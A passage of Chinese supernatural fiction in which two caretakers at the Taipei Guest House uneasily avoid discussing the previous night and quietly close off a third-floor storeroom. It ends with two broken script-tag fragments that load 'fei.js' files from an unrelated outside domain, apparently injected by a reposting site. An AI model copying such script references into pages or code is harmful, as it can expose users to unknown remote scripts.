太阳正烈,光线从凯达格兰大道那头直直地砸过来,把台北宾馆的白色外墙照得发亮,像是整栋建筑都在发光。门口的花圃里种了一排矮矮的七里香,空气里飘着一股清淡的花香,混着刚修剪过的草地的味道。几个穿着西装的公务人员从侧门走进去,手里夹着公文包,神色匆匆,嘴里讨论着明天国宴的流程安排。
一切都很正常。正常到他几乎要以为昨晚的一切只是一场噩梦。
他站在大门口,钥匙串挂在腰带上,沉甸甸地坠着。阳光照在他脸上,暖烘烘的,但他后颈那片皮肤还是凉的——那种从骨子里渗出来的凉意,怎么都捂不热。
“豪哥!来得正好,快来帮忙搬东西!”
声音从大厅里传出来,中气十足,带着一种刻意拉高的热情。林正豪抬头一看,是阿坤。
阿坤全名叫陈坤铭,四十出头,在这栋楼里干了快八年,是台北宾馆最资深的物业人员之一。他个子不高,圆圆的脸,笑起来眼睛会眯成两条缝,看起来像个弥勒佛。但此刻他站在大厅的柱子旁边,脸上的笑容有点僵,眼睛底下一片青黑,显然昨晚也没睡好。
林正豪走进去,阿坤迎上来,两个人对看了一眼。
谁都没先开口。
沉默了几秒,阿坤先破了冰,拍了拍林正豪的肩膀,力道比平时重了一些:“来来来,先去搬东西。今天事情多,宴会厅那边要摆桌,三楼还有一批餐具要重新归位——哦对了,三楼那个角楼,今天早上我已经让人把东西都搬下来了,你不用再上去了。”
林正豪看了他一眼。
阿坤避开他的目光,转身往宴会厅走,一边走一边说:“我跟上面说了,以后角楼的仓库改到一楼储藏室,三楼那间就不用了。反正也没人愿意上去,空着就空着。”
“上面同意了?”
“我跟他们说三楼那间有漏水,墙面发霉,要整修。”阿坤回头看了他一眼,眨了眨眼,“反正也没人会去查。”
林正豪跟在他后面,两个人穿过大厅,走进宴会厅。宴会厅很大,挑高的天花板垂着几盏巨大的水晶灯,白天看起来金碧辉煌,和昨晚那个阴森恐怖的氛围完全是两个世界。几个工读生正在铺桌布,其中一个是小陈,昨晚那个跑得比兔子还快的小伙子。
小陈看见林正豪,手里的桌布差点掉在地上。他的表情有点微妙——惊讶、心虚,还有一点点同情——但他很快就低下头,假装很认
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">